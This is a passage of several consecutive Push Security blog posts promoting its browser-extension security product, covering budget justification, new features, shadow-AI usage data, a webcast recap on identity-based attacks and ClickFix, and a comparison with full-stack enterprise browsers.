• RBI deployments are difficult to justify when a browser extension achieves better security outcomes without the user experience penalty.

• Phishing simulation programs — whose ROI has long been questioned by practitioners — are harder to justify when attackers are using AI to craft lures and pages that are indistinguishable from the real thing for even the most trained employees. If your browser security platform is already blocking real phishing attempts and delivering contextual security guidance at the actual point of risk, the marginal value of a simulation exercise weeks later diminishes considerably.

As legacy tooling becomes less relevant and more commoditized, you should expect to spend less on it. What you save can then be reallocated towards capabilities like Push that address the current threat landscape rather than the previous one legacy tools were designed for.

Investment risk management

The final component of the business case is assessing the investment risk. Given that browser security solutions are typically a new capability, and therefore a new form of investment, there will naturally be questions about how safe an investment it is.

Browser security takes many forms and approaches, so this section speaks specifically to Push and why it represents a low-risk investment to make.

Push is simple to deploy. It installs as a browser extension via existing MDM tooling — it works on the browsers employees already use, with no migration to a new browser, no user retraining, and no change to workflows. Customers have rolled Push out to over 100,000 users in under an hour during normal office hours with zero downtime.

You start seeing findings and detections from day one, not after a months-long implementation project. That compresses time-to-value to a matter of hours, which directly de-risks the investment from a finance perspective. Push's high-fidelity telemetry results in a negligible false positive rate, minimizing the operational cost of running the platform. Push integrates into your existing security workflows and tools, like your SIEM, SOAR, and IdP, and doesn't require a dedicated team to manage, so you gain a new capability without taking on a new operational burden.

Push supports advanced security teams in highly targeted and regulated industries, with over 3 million browsers deployed worldwide. As one of the first browser security extensions, launched in 2022, Push has one of the longest track records in the space, and its research team regularly discovers novel attack techniques, including ConsentFix, ghost logins, SAMLjacking, and regularly publishes campaign analysis referenced across the security community.

Finally, Push actively hunts for new and novel threats across your estate using its research and agentic detection pipeline, with no customer input required. That means you remain protected as the threat landscape evolves, and the capability continues to advance and deliver recurring value over the full contract period without additional effort from your team.

Where has the budget actually come from for Push’s customers?

Push's customers have funded their browser security investment through several well-established routes:

• Many teams had funded projects to increase their visibility and control over AI use in their organizations. Push gave them the instrumentation they needed to address their needs while also allowing them to address other valuable security use cases.

• Push is frequently purchased following a security incident such as an AitM phishing breach or a ClickFix breach that existing tools failed to detect and stop.

• Another leverage point has been CASB, SWG, and RBI renewals. The browser-native capabilities of a tool like Push let you either replace or reduce the scope — and cost — on those contracts without losing coverage.

• A number of Push customers rolled out Chromebooks to parts of their workforce and used the savings that generated to pay for Push. These devices fell outside of their standard EDR coverage and they found that Push provided all the visibility and protection they needed for Chromebook users.

• But overall, most customers choose to build the net-new case using ROI projections alone. Push customers see direct savings that cover the cost of deploying Push and indirect savings that run into the millions of dollars. For every $1 invested, Push generates a return of $5 - $15 through a mixture of direct and indirect savings aligned to the five economic value drivers.

Strengthening your case with PoV data

One practical step that strengthens any business case significantly is to run a proof of value. A PoV deployment generates findings specific to your organization: real instances of employees being targeted in their browsers, the actual scale of your identity attack surface, and concrete shadow SaaS and AI usage data.

That evidence can be far more compelling to a CFO than generic industry benchmarks, and it hones the projected value from the framework using real-world data taken from your own environment. 

The drawback is that the kind of PoV that generates this type of evidence requires more time and effort to run. Security teams typically opt for this approach when they know they'll encounter stronger resistance to budget being made available and they'll really need to evidence the need in absolutely concrete terms.

Closing thoughts: “nothing worth having comes easy”

The budget conversation for browser security takes more work than it does for a like-for-like tool replacement — but the security leaders who've been through it consistently find that the economic case is stronger than they expected going in. 

Both strategic imperatives are grounded in data any CFO can verify independently, the financial impact is quantifiable across multiple dimensions, and the routes to funding are well-established across organizations that have already made this investment.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

• Custom detections

• File download telemetry

• Prevent password entry into non-password fields

• Expansion of Events window to 30 days

Create your own custom detections

You can now write your own detections using Push’s real-time detection engine to target specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.

Rules are written in YAML in the Push admin console. You can define a response action (e.g. Warn or Block) and customize the end-user message, similar to other Push controls.

Example use cases:

• Detect a specific IOC or TTP for campaigns targeting your organization.

• Partner with your red team to detect custom tooling during pen testing.

• Alert on specific user behaviors on webpages that point to risk or violate policy.

• Block unauthorized MCP connections.

Learn more

Stream telemetry on file download events

You can now consume a feed of file download events into your SIEM or SOAR. These events report file metadata, such as file name, download URLs, and MIME type, as well as whether the download was considered unsafe.

Events are generated for traditional network-based downloads, but also downloads of files constructed in the browser, such as those via blob or data URLs.

You can enable this feed for all employees, employee groups, or specific individuals; and for all profiles, profiles logged in with a company domain, or profiles logged in with a non-company domain. Go to Settings > Telemetry > File downloads to configure it.

Next, we’ll be adding a control that allows you implement a policy around which downloads are permitted from where, so you can block unwanted or potentially malicious files directly at the point of download.

Learn more

Prevent password entry into non-password fields

You can prevent users from mistakenly entering their password into non-password fields such as username or email fields when they’re signing in to the app that password is associated with.

You may wish to prevent the entry of passwords into non-password fields particularly for core applications like your identity provider. By blocking incorrect password entry, you can avoid inadvertently recording passwords in your app logs, which can introduce security risk.

Learn more

Events page now displays up to 30 days of data

We’ve expanded the storage window for events viewable on the Push admin console Events page to assist with quick triage. It is now 30 days, instead of 7.

As before, we recommend ingesting Push events into your SIEM for longer-term storage, querying, and correlation.

But the rate at which employees are signing up for AI tools is unprecedented, and the depth of interconnectivity those tools demand is fundamentally different from traditional shadow SaaS.

AI tools aren't just standalone apps that employees sign into — they're increasingly used as agents that drive other applications, pulling data from one platform, acting on another — they are becoming a core that other apps are integrating to, and that users are integrating with their wider SaaS stack. It’s becoming a focal integration point for app access and functionality in a way that's more comparable to an enterprise cloud platform than a typical SaaS tool. 

Every app connection an employee grants turns that AI tool into a node in a web of interconnected services, which means the more you hook in, the larger the attack surface across all the connected apps — and the greater the blast radius if the account used to access the AI tool is compromised.

The industry data backs this up. The Verizon DBIR 2026 reports that 45% of employees are now regular AI users on corporate devices, up from 15% the year before. Omdia's 2026 browser security research presents a stronger picture, finding that 92% allow employees to use public GenAI applications. However, given that the typical company policy sanctions a small number of approved tools, this means everything else employees are using is unsanctioned by default. In other words: every organization in the survey had unsanctioned AI usage.

The state of shadow AI, using Push data

We analyzed a snapshot of AI activity across Push customers during an average week in April 2026. We wanted to make sure it captured actual activity, not just historical data on apps that were added once and no longer used.

The numbers paint a picture that most security teams will find uncomfortable.

The average organization has 16 unique AI apps in active use, 17 unique AI browser extensions, and 17 unique AI OAuth integrations connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the lowest adoption level is actively using two. 

These are counts of unique products observed in one week, not total installs or connections across the workforce — each unique app, extension, or integration represents a separate AI tool that at least one employee has adopted, so the actual number of individual installs and active sessions across the organization is considerably larger. When the average organization has 17 unique AI extensions deployed, for instance, and many of those are popular tools adopted independently by multiple employees, the per-user footprint adds up quickly.

If most organizations have sanctioned one or two core AI assistants/platforms for business use, the gap between what's approved and what's actually happening is significant.

Understanding the four categories of shadow AI

Shadow SaaS has always been a problem, but in the context of AI apps there are four categories of shadow IT that security teams need to understand, because each one introduces a different kind of risk and requires a different approach to tackling it.

Shadow AI apps

Shadow apps are AI tools that employees have signed up to and are using for business purposes without approval. This is the most visible dimension of the problem, and the one most people think of when they hear "shadow AI" — an employee pastes sensitive internal documents into ChatGPT, uploads confidential files to an AI assistant, or uses an unapproved coding tool to generate production code.

All of that is sensitive data leaving the organization through channels the security team can't see - and often accessible using personal accounts that can be compromised on personal devices or workstations. 

The 2026 DBIR's data loss prevention analysis underscores the scale — shadow AI is now the third most common non-malicious insider action in DLP data, a 4x increase year-over-year. Across 858,000+ DLP events targeting GenAI tools, the most common data types being submitted were source code (28%), images (16%), structured data (14%), documents (13%), and PDFs (10%). That's not employees asking ChatGPT to fix their grammar — it's core intellectual property, production code, and internal documentation flowing into platforms the security team has no visibility into. But shadow apps themselves are only the most obvious part of the problem.

Shadow tenants

Even when an organization has approved an AI tool — say, an enterprise ChatGPT deployment — employees frequently access the same app with personal accounts, creating shadow tenants that sit entirely outside organizational control. The DBIR found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.

When an organization approves Claude, ChatGPT, or another core AI platform, you typically also approve the OAuth integration and browser extension for core apps (e.g. M365, Google Workspace, and so on). When that integration is approved, it is approved for all tenants — not just your corporate tenant. 

This is a perfect example of where Evil Twin opportunities are likely to be abused by attackers. If you’re not familiar, this is where an attacker can effectively hide a malicious integration where an existing connection for that app is already approved, blending in with normal activity. But while historically maybe 1 out of 100 users had an automation tool like Zapier integrated already, the modern equivalent is that a much higher proportion of users already has Claude or ChatGPT integrated.

This means that even if you've deployed enterprise controls around your sanctioned AI tools — DLP policies, retention settings, admin oversight — more than a third of the file uploads hitting AI tools are bypassing those controls entirely because they're happening through personal accounts on corporate devices.

Shadow extensions

Many AI tools come with a browser extension counterpart, and there's a large ecosystem of third-party AI extensions that offer everything from writing assistance to automated data extraction. The average organization in our dataset has 17 unique AI browser extensions deployed across its workforce, with the highest we observed reaching 163 — and since each of those average 17 different extensions may be installed by multiple employees, the actual number of individual extension installs across the organization is much higher still.

The extension dimension is particularly concerning because most extensions operate with significant privilege inside the browser — they can read and modify page content, access cookies and session tokens, and interact with virtually every web application an employee uses. As we detailed in our recent analysis of browser extension risk scoring, at least 46.76% of all extensions across Push customers have the permission combinations needed to perform account takeover with no user interaction, and the extensions involved in every major supply chain breach of the past 18 months scored as normal or low-risk beforehand.

This isn't just a Push observation — Omdia found that malicious browser extensions were cited by 34% of organizations that experienced a browser-based attack, making them the third most common attack type after phishing and data leakage. The Verizon DBIR 2026 reports that more than 15% of corporate users had unauthorized AI browser extensions installed — meaning a material share of the workforce is running AI-powered code with broad permissions that no one in security approved or is monitoring.

AI extensions add a specific wrinkle to this problem: many are branded to look like official companions to well-known AI tools but are actually third-party creations with no affiliation to the original vendor. They're not necessarily malicious at the point of installation, but they're exactly the kind of extension that's likely to be acquired and weaponized down the line — and in the meantime, they're collecting data that their permissions entitle them to (which, in most cases, means everything the user can see in their browser).

Shadow integrations

The fourth dimension — and arguably the most dangerous — is shadow integrations: OAuth connections between AI tools and core enterprise apps that aren't known or approved by the security team. Even if an organization has approved an AI tool for standalone use, plugging that tool directly into Google Workspace, Microsoft 365, Salesforce, or any other one of the dozen or so SaaS apps in a typical user’s work stack is a fundamentally different risk decision, because it creates a persistent, programmatic bridge between your environment and a third party.

On average, we see 17 unique AI app OAuth integrations per organization in just Google Workspace and Microsoft 365 (to be clear: this number excludes the dozens of downstream apps the AI assistants are integrated with as well), with the highest reaching 55. Each of those represents a unique AI product that has been granted OAuth access — the total number of individual consent grants across users is larger, because popular integrations get authorized by multiple employees independently.

The actual number of AI-related OAuth connections across the full SaaS estate is considerably higher again, because AI tools that automate workflows need to be connected to be useful — pulling data from one app, analyzing it in another, presenting results in a third.

MCP connections use OAuth to achieve this interconnectivity in the same way, and AI coding agents create a particularly concentrated version of the risk: a single agent configuration can hold OAuth tokens for Jira, Confluence, Salesforce, GitHub, and more, meaning that compromising one agent — whether through prompt injection, a malicious repository config, or a supply chain attack on an MCP server — yields persistent, broadly scoped tokens for every service it was connected to, tokens that survive session restarts and generate audit log entries indistinguishable from legitimate user activity.

It's also worth noting that OAuth blast radius is almost always larger than organizations expect. A single well-permissioned user can expose secrets, dashboards, and internal tooling without tenant-wide admin access. And every new AI tool an employee connects makes the web of abusable permissions a little wider.

The Vercel breach is a textbook illustration of integration risk. A Vercel employee had connected a consumer-grade AI app from Context.ai into their Google Workspace tenant — most likely a self-service trial that was lightly used and forgotten about. Vercel wasn't even a registered customer of Context.ai. When Context.ai was subsequently compromised via an infostealer infection, the attacker leveraged stored OAuth tokens to pivot into the Vercel employee's Google Workspace account, accessing internal dashboards, API keys, NPM tokens, and GitHub tokens.

Vercel is far from an isolated case. In 2025, Scattered Lapsus$ Hunters launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft Drift and Gainsight, impacting over 1,000 organizations and stealing over 1.5 billion records. More recently, Snowflake customers were impacted after a breach at data anomaly detection company Anodot, where attackers attempted to leverage stolen authentication tokens to access downstream environments.

Why shadow AI needs a different solution to shadow SaaS

The reason it's worth distinguishing between these four dimensions isn't academic. Each one requires a different control, and addressing one doesn't solve the others.

Blocking unsanctioned AI apps does nothing for the personal accounts accessing approved ones, and neither addresses the average 17 different AI extensions running with broad browser permissions, let alone the dozens of OAuth integrations that have already been granted persistent access to core enterprise apps — and even auditing OAuth in Google Workspace and Microsoft 365, where the controls are relatively mature, leaves the broader SaaS estate unaddressed, where admin tooling is inconsistent and visibility is limited.

The tooling gap compounds the policy gap. Omdia found that 58% of organizations rely on secure web gateways to secure GenAI usage — but an SWG can tell you that a user visited ChatGPT, not whether they pasted your source code into the prompt. That link between knowing where data went and knowing what the user actually did is the fundamental visibility gap that makes GenAI policies unenforceable without browser-layer tooling.

Advice for security teams

The principles behind managing shadow AI are the same ones that have governed shadow SaaS and software supply chain management for years: default-deny where feasible, comprehensive inventory where it isn't, and continuous monitoring for changes that signal increased risk. But it's vital that teams act fast to stop the snowball.

That starts with visibility into which AI tools employees are actually using and which accounts they're using to access them — without that baseline, every other control is built on assumptions.

Extensions need the same default-deny allowlisting approach that has been best practice for software management elsewhere: build a complete inventory, allowlist what's vetted, block everything else, and monitor the approved set for changes that precede weaponization.

OAuth demands the most urgency, because each unmanaged integration is a persistent trust relationship that survives password resets and MFA changes — adopt default-deny for consent grants in your primary enterprise apps, routinely audit what's already connected, and critically extend that visibility beyond Google and Microsoft to the broader SaaS estate where the controls are weaker and the sprawl is harder to track.

Browser visibility and control is key to de-risking AI adoption

AI usage is fundamentally browser-based activity — every LLM interaction, every prompt containing sensitive data, every AI agent authorization, every OAuth consent grant happens inside a browser session — which makes the browser the natural control point for AI governance across the workforce. 

Push tracks AI app usage and login security across the workforce, inventories and controls AI browser extensions, monitors and blocks OAuth consent flows across any app (not just the primary enterprise platforms), and gives security teams a single view of the full shadow AI picture across all four dimensions.

Shadow AI isn't a problem that will age well if ignored. Every week that passes without visibility adds more apps, more extensions, more integrations, and more potential breach paths into the environment — and as the Vercel breach demonstrated, it only takes one forgotten OAuth grant to turn an employee's idle curiosity into an organization-wide incident.

Learn more about how you can tackle Shadow AI with Push. 

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Matt made the point early on that "the modern web frameworks that have come out have done more to shift application security than any security vendor ever did." It's measurably harder to write exploitable code in 2026 than it was even five years ago, and the data reflects that — as Matt put it, "most hacks that we read about these days are actually logins, not actually hacks in terms of vulnerabilities." Attackers aren't breaking in — they're logging in.

The data backs this up across the board. CrowdStrike's 2026 Global Threat Report found that 82% of attack detections are now malware-free — no exploit, no payload, just access and legitimate functionality being abused. Google/Mandiant recently reported that identity issues were the initial access vector in 83% of cloud-related incidents.

And when you look at the economics, the shift makes obvious sense: a browser RCE goes for around $250,000, while a PhaaS kit rental runs about $1,000 per year and a bulk stolen credential list costs $15. For a rational attacker, identity abuse isn't just easier — it's orders of magnitude cheaper.

This isn't a new observation, but it's one that still hasn't fully landed in how most organizations allocate their security budgets. The bulk of enterprise security spending is still pointed at the endpoint and the network — tooling built for an era when the primary threat was malware and exploitation. The threat model has moved, and for a lot of organizations, the stack hasn't moved with it.

2. AI is a force multiplier, but it isn't a super hacker

The Mythos discourse has been hard to escape. As Matt put it, the view that "the AI super hacker has escaped the lab" is "not actually what's going on." What's actually happening is that AI models trained to understand code are turning out to be very good at finding specific types of vulnerabilities in predominantly legacy codebases — but defenders stand to gain a lot too.

As Matt referenced, Google's CISO Heather Adkins said on stage at the Unprompted conference that Google's stated goal is "to eliminate all software vulnerabilities, period." And browser zero-days already hit a historic low at just 9% of all zero-days reported to Google in 2025.

But won't AI-assisted vulnerability discovery eventually make browser exploits cheaper for attackers too? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.

As Matt noted, "they didn't train these models to be good at cybersecurity — they just trained them to get better and better at code," and big tech vendors like Google have the resources to really invest in these tools. The rational play for attackers is the same one it's been for years: skip the exploit development entirely and steal identities and sessions in the browser instead.

3. MFA is essential — but it isn't a silver bullet

Nobody's arguing against MFA. It's one of the most important security controls any organization can deploy, and both Matt and Mark were clear about that. But the conversation surfaced something that doesn't get enough attention: there are always gaps in coverage, and attackers have consistently found ways under, over, or through it.

Mark observed that every organization he talks to says they're in the process of "rolling out" MFA. It's always in progress, never complete — there's always an app that doesn't support it, a legacy system that can't handle it, a user population that hasn't been migrated, or a SaaS vendor charging extra for the privilege (the security tax). Coverage gaps are the norm, not the exception.

Then there's the bypass evolution. Matt walked through the history — SMS and SIM swapping, push notifications and push fatigue, and now AiTM kits that proxy the entire authentication flow, capturing both the password and the MFA token in a single attack. Every step up the MFA ladder, attackers have found a way around. Phishing-resistant methods like hardware tokens and passkeys are a meaningful improvement, but rollout is slow and uneven.

And then there's the class of attacks that sidestep authentication entirely. Consent phishing, device code phishing, session hijacking — these are all post-authentication attacks. The user has already authenticated successfully, the MFA did its job, and the attacker is going after what comes after: OAuth tokens, session cookies, consent grants. Matt compared these to zero days for identity — they bypass the entire front end of your defensive stack. MFA is absolutely something you should be rolling out and strengthening, but it's one layer in what needs to be a deeper defense.

4. User training is not enough: better technical controls are required

Matt was blunt on this one: "If those tips worked, cybersecurity as a profession would be out of business." 20+ years of user awareness training, and phishing is arguably more effective than ever. The standard advice — hover over links, check the sender, look for typos — assumes a level of sustained vigilance that no human can maintain across every interaction, every day.

What made his point land was the contrast between the comment sections on his ClickFix content — "Who the hell would fall for this?" — and the reality that every incident response professional he knows is currently working a ClickFix case. The people saying nobody would fall for it are not the people cleaning up after it.

Matt also brought the recent Lazarus group fake job scams: threat actors spending six months building trust with a target — meeting in person at conferences, multiple times — before eventually getting them to install a malicious browser extension during a Zoom call. All of the social engineering that precedes the actual compromise is just trust-building, and the sophistication of that trust-building is increasing faster than any training program can keep up with. You need defensive layers that don't depend on the user making the right call every single time.

5. Every IR pro you know is working a ClickFix case

ClickFix came up repeatedly, and for good reason — it's one of the most common initial access vectors being reported right now. Matt said he doesn't know a single IR professional in his network who "isn't actively working a ClickFix-related case." The technique, which tricks users into copying and pasting malicious commands, has spawned an entire family of variants (InstallFix, ConsentFix, and others), and they're evolving fast.

Matt shared a particularly good example of why the "just don't fall for it" advice falls apart. Attackers were paying for ads promoting ChatGPT chat history links on technical search queries — things like "how to clean up disk space on Mac." The top result was a legitimate-looking ChatGPT interface with what appeared to be helpful terminal commands.

The user was already looking for commands to copy and paste into their terminal. The attack didn't need to trick them into doing something unusual — it just showed up in the exact context where copy-pasting commands was the expected behavior.

The new variants keep appearing because the underlying technique is modular — the trust-building wrapper changes (fake CAPTCHAs, fake error messages, fake install instructions, fake AI chat interfaces), but the core mechanic is the same. What makes it dangerous is that each new wrapper goes quasi-viral among attackers when it proves successful, which means the window between a new variant appearing and widespread adoption is very short.

6. Browser extensions are the threat that never went away (and it's a bigger problem than ever)

Browser extensions are a topic we've covered in depth before, and Matt's perspective reinforced why. His first conference talk — Black Hat and DEF CON in 2011 — was about Chrome extension security. As he put it: "I could give that talk right now with very few changes to the slides and it would still be extremely relevant."

The core problem hasn't moved: extensions need broad permissions to function, even for completely legitimate use cases. A password manager needs to read login forms on every website. A dark mode extension needs to modify the DOM on every page. An RSS reader needs access to arbitrary sites. These aren't excessive permissions — they're the minimum required for the extension to do what it advertises.

What's making it worse is the AI adoption wave. Many AI tools ship with browser extension counterparts, and employees are installing them alongside the apps themselves — often without approval. The broader rush to adopt AI tooling is acting as a force multiplier for the shadow SaaS problem that security teams have been struggling with for years, and extensions are a big part of that.

The ways extensions get compromised vary. Users still get tricked into installing something malicious from the start, but legitimate extensions also turn malicious after the fact. Matt outlined several mechanisms: developer accounts getting compromised and attackers pushing malicious updates to the existing user base; extension developers accepting monetization deals that turn out to be data-harvesting operations; and threat actors outright purchasing extensions with established user bases and then pushing malware to them.

The Chrome Web Store doesn't solve this. Matt noted that he uploaded a proof-of-concept extension literally called "Malicious Extension" and it made it onto the store. There's some review process, but it's not real-time, it's not continuous, and it doesn't cover updates after initial submission.

Even organizations with a formal extension approval process typically only look at the extension once — at install time. Nobody's reviewing every update to every approved extension. And the risk assessment? "It's mostly based on vibes. There's very little science here." Even at organizations with mature security programs, Matt hasn't seen many that have real-time, ongoing visibility into what's happening inside their employees' browser extensions.

7. You have 30 minutes to respond to a cloud intrusion — and revoking the token isn't enough

Matt was direct about the speed benchmark practitioners should be targeting: meaningful containment and eradication within about 30 minutes, because attackers are partially achieving their objectives in 20 to 40 minutes and significantly past the point of no return within an hour.

The data supports this picture. CrowdStrike reports that the average e-crime "breakout time" (moving from initial access to high-value assets) is now just 29 minutes, while Google reports that the median time between initial access and hand-off to a secondary group has collapsed from over 8 hours in 2022 to just 22 seconds in 2025 — pointing to a highly automated, interconnected, and professionalized threat actor ecosystem.

But speed alone isn't the problem Matt emphasized — it's that the containment actions practitioners think they have don't actually work the way they expect. His anecdote about revoking an IdP OAuth token and assuming the session was killed, only to discover that the 200 downstream SaaS session tokens were still live, will resonate with anyone who has worked an identity-based incident.

You can't move that fast if you're figuring out what your tools can and can't do during the incident. The teams that handle these situations well are the ones that have taken stock of their actual capabilities beforehand — what their IdP revokes, what it doesn't, which SaaS apps have independent session management, where the gaps are. The teams that don't are the ones at "1 AM with a pager in hand going, 'What the hell do I do now?'" as Matt described it. "Ask me how I know."

This post is a recap of Security theatre vs. security that works, the third episode in Push Security's webcast series on the state of browser attacks. Watch the full recording for the complete conversation, including live Q&A with Mark and Matt.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

But the market tells a different story. The majority of vendors Gartner places in the SEB category are now extensions rather than full browsers, and Gartner explicitly notes that extensions have become the preferred option. 

The buyer-side data tells the same story: In Omdia's 2026 survey of 400 IT and security professionals, 48% of organizations cited the ability to use their existing browsers as an important attribute in a secure browsing solution.

The truth is: Full-stack enterprise browsers and browser security extensions like Push aren’t competing products. They serve different needs for different teams, though they often get evaluated against each other.

Full-stack enterprise browsers serve the IT team's need to control the workspace. Browser security extensions like Push meet the security team's need to protect their users as they work in their browsers — a fundamentally different problem. 

In this article, we’ll cover why a feature-by-feature checklist is the wrong approach when selecting a secure browser platform, and what questions to consider instead. We’ll also discuss what each type of solution excels at, where Push fits in, and how to map your needs to the right solution.

Full-stack enterprise browsers meet the IT team's need to control a workspace

Full-stack enterprise browsers like Island, Prisma Browser, and SURF Security are best understood as managed workspace platforms rather than browsers in the conventional sense. 

Island's own CEO Mike Fey has described the company's strategy as transforming the browser into "a centralized, enterprise-grade platform, eliminating layers of legacy IT infrastructure by building more functionality in the browser." 

Chrome Enterprise and Edge for Business occupy a related space as productivity-suite browsers extended with native security controls, sold as part of the broader Google and Microsoft workplace stacks. Different products with different lineage, but all of them converge on the same owner: an IT organization solving for workspace control.

The IT team is trying to achieve workspace policy compliance and access governance. Their primary use case is typically reducing reliance on legacy IT tools like VDI, VPN, remote browser isolation, DaaS, web filtering, and CASBs. In this world, the use cases look like: 

• Securing third-party contractors or BYOD where the workspace itself is the access control. 

• Regulated populations like call centers, BPO workforces, finance teams handling sensitive material, where output controls like watermarking, screenshot restriction, and print blocking need to be enforced at the OS rendering layer. 

• Legacy app support including IE-mode rendering for applications that have never been modernized. 

For these use cases, the architecture is well-suited, and there are numerous full-stack SEB solutions that address them well. Where the full-stack approach runs into trouble is in getting users to migrate onto a new browser and in justifying the cost of doing so. Both problems scale with the size of the workforce. 

Cost of deployment is a significant blocker for full-stack browsers

The migration costs are easy to predict: deployment and configuration effort, help desk volume and — biggest of all — user resistance. But it’s the license cost that limits deployments in many organizations going from a free consumer browser to a paid replacement for the first time. 

In fact, Gartner notes that most buyers start with a single use case like covering contractors and rarely pursue organization-wide deployment for a full-stack enterprise browser. 

For organizations that do achieve a full-coverage deployment for these full-stack browsers, the need to manage drift in employee behavior over time gets harder. Agentic browsers like Comet, Atlas, and Dia are already starting to pull users toward AI-native workflows that consumer browsers don’t offer and full-stack enterprise browsers don’t currently match.

What a browser security extension built for the security team looks like

Most browser security extensions on the market were built to address this migration hurdle. They attempt to take as many of the features of a full-stack browser as possible, but make it possible to deploy into users’ existing browsers, sidestepping a lot of the cost and rollout problems.

LayerX, Seraphic, SquareX, and Keep Aware have all at some point echoed this approach in their product descriptions with the line "make any browser an enterprise browser."

Ultimately, that approach is still aimed at solving problems for the IT team more than the security team.

Push is different — we built a browser extension to meet the security team's needs

Push set out to meet a different need. Our team's background has always been in defending organizations against advanced attacks. We spent our careers working in red and blue teams throughout the network and endpoint eras of cyber attacks. The mission we started with in 2022 was to defend organizations against the new era of damaging cyber attacks that originate in the browser. 

We chose a browser extension as the approach for our solution, not because we wanted to build an easier-to-deploy enterprise browser, but so we could use it as a security agent to collect high-fidelity telemetry for TTP-based detections, and apply real-time controls to stop attacks at the earliest opportunity in the modern  — browser and identity native  — kill chain. In effect, we created EDR, but for the browser. This is what gives Push the edge compared to other Secure Enterprise Browser solutions when it comes to tackling the highest priority threats in the browser — we’re optimized for this problem area. 

For a security team using Push’s extension, this means attacks get stopped at the earliest opportunity in the kill chain and before they cause harm. 

When a user lands on a phishing page built to harvest their credentials, Push sees the page rendering and the JavaScript executing inside the DOM, and can block the credential submission before the form posts. When a user is being walked through a ClickFix or ConsentFix social engineering flow, Push sees the clipboard writes and the OAuth consent flow parameters being prepared, and can intervene before the user completes the action. When a session token is stolen and replayed against a different device, Push sees the session activity and surfaces the compromise. Push does all of this from a browser extension, without needing to replace the user's browser. 

The same underlying technology also addresses other high-value security use cases: Visibility and control over AI usage; hardening identities and surfacing shadow IT; and supporting insider investigations and preventing data loss. 

The highest-value use cases the browser can address are all powered by the same underlying technical capability, which is why Push's single extension can address four major security use cases rather than four separate tools needing four separate deployments. The success metric for security teams using Push is attacks averted or stopped, cyber risk reduced, and security posture and resilience strengthened — not workspace policy compliance.

Proven at scale: What security leaders are saying

Push launched its browser extension in 2022, making it one of the first and longest-running browser security extensions in the category, and it is now deployed across more than three million browsers worldwide.

Many Push customers were initially considering full-stack enterprise browsers, but found that Push provided all the visibility and control they needed without the migration headache.

The extension matters, but it's what we built around it that really counts

The extension is the most visible part of the Push platform, but what Push has built around it makes the solution the most powerful security tool in the browser:

• In-house threat research that discovers attack techniques as they emerge. Push researchers track real-world adversary activity and discover new techniques as they appear, including ConsentFix, InstallFix, and creating the Browser & Identity Attacks Matrix. Detection is only as good as the threat understanding behind it, and research is what keeps that understanding ahead of what attackers are doing in the wild.

• Agentic threat hunting and detection engineering at machine speed. Push's agentic detection pipeline operationalizes the research, generating new behavioral detections in minutes rather than quarterly releases — covering the techniques behind the Scattered Spider, Scattered Lapsus$ Hunters, and ShinyHunters breaches of the past three years. Attackers are using AI to accelerate the pace at which they generate new lures, kits, and infrastructure; Push keeps security teams in front by advancing the capability at machine speed and scale.

• Collecting the right telemetry to surface both attacker behavior and risky user action. Telemetry by itself is just data — the value comes from knowing what to collect, why it matters, and how to turn it into detections and controls. Push combines deep instrumentation of the browser with the expertise to use what we collect: the same browser-layer telemetry that detects AiTM kits, ClickFix and ConsentFix lures, and session token replay also surfaces what users are pasting into AI tools, which SaaS apps they're logging into outside the IdP, which OAuth grants are being made, and which extensions are running in their browsers. The threat detection and the identity, AI, and DLP use cases are not separate features — they are different applications of the same underlying telemetry, surfaced because Push knows what to look for.

• Enforcing the right controls at the right place at the right moment. Visibility without actionability is only half a solution. Push turns the browser into a strong control point for stopping attacks and risky user behaviors in real time — reusing passwords, intercepting credential submission to non-IdP domains, blocking ClickFix clipboard payloads before paste-execute, prompting MFA enrollment at the point of login, warning on weak or breached passwords at credential entry, and surfacing app banners that communicate policy at the moment of use. The same control surface that stops attackers stops the user's mistakes that lead to the next breach.

• Balancing security and privacy. Push is designed to give security teams the telemetry they need without monitoring personal browsing. By default, only logins to configured corporate domains are observed; personal browsing is not collected. (Though administrators have the option to observe personal account logins to work apps, and identify where browsers are being synced to personal accounts, which can result in password loss.) Plaintext passwords and form inputs are never transmitted — passwords are analyzed locally using salted partial hashes. Broader browser metadata is stored on the device and only transmitted when it matches a detection rule. Push does not train AI models on customer telemetry.

Full-stack enterprise browsers and Push’s browser extension are not mutually exclusive

It’s worth pausing on a point that often gets lost in the way the market discusses this choice. Full-stack enterprise browsers and Push’s extension-based solution are not mutually exclusive. They do different things for different teams, and they run together. 

Push supports enterprise browsers like Island and Prisma Browser. Many of Push’s customers use a full-stack browser for the contractor population or regulated workload where the IT team needs workspace controls, and Push across the rest of the workforce to provide the deep security capabilities that the IT team is not measured on but the security team is. The right framing for many enterprises is not whether to choose full-stack or extension. It is full-stack for the IT use cases that need it, and Push everywhere else.

Which one is right for your security team?

The answer follows from the need you are trying to meet. The scenarios below cover the most common real-world situations and the approach that fits each.

